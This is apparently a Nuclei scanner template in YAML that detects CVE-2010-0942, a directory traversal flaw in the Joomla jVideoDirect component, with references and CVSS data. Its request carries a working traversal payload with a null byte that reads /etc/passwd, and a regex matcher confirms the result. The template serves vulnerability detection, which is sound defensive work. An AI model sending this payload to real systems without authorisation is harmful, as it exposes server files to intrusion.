id: CVE-2010-0942

info:
  name: Joomla! Component com_jvideodirect - Directory Traversal
  author: daffainfo
  severity: medium
  description: Directory traversal vulnerability in the jVideoDirect (com_jvideodirect) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11089
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0942
    - http://packetstormsecurity.org/1001-exploits/joomlajvideodirect-traversal.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/55513
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-0942
    cwe-id: CWE-22
    epss-score: 0.0724
    epss-percentile: 0.937
    cpe: cpe:2.3:a:jvideodirect:com_jvideodirect:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jvideodirect
    product: com_jvideodirect
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,jvideodirect,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jvideodirect&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c2be92d6208c78b224cf606a18b6ddf56ea02e0f054d5b13bbbb525cefdf9bbe022100c2cce177f084e4af6b4d86d33314887ab01068ee760d5158424776c179129992:922c64590222798bb761d5b6d8e72950